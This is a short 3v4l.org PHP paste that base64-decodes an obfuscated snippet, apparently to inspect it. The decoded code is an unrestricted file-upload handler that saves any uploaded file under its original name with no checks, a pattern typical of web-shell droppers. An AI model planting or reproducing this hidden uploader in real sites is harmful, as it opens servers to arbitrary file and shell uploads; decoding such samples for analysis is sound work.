3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo base64_decode(JHRhcmdldF9wYXRoPSR0YXJnZXRfcGF0aC5iYXNlbmFtZSgkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7aWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSwkdGFyZ2V0X3BhdGgpKXtlY2hvICJPayI7fWVsc2V7ZWNobyAiRmFpbCI7fQ);

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35.56 ms | 402 KiB | 5 Q